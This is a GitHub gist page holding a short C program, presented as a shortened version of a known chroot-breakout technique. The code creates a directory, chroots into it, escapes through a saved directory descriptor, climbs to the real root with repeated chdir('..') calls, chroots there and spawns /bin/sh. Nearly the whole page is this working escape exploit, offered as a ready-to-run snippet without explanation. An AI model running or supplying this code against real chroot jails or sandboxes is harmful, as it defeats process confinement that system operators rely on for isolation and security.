Skip to content

Instantly share code, notes, and snippets.

@opatut
Created February 1, 2013 16:14
Show Gist options
  • Save opatut/4692263 to your computer and use it in GitHub Desktop.
Save opatut/4692263 to your computer and use it in GitHub Desktop.
// Shortened version of this:
// http://www.bpfh.net/simes/computing/chroot-break.html
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
int main() {
int x; /* Used to move up a directory tree */
int dir_fd; /* File descriptor to directory */
mkdir("chroot-breakout-dir", 0755);
dir_fd=open(".", O_RDONLY);
chroot("chroot-breakout-dir");
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1024; x++) {
chdir("..");
}
chroot(".");
system("/bin/sh");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment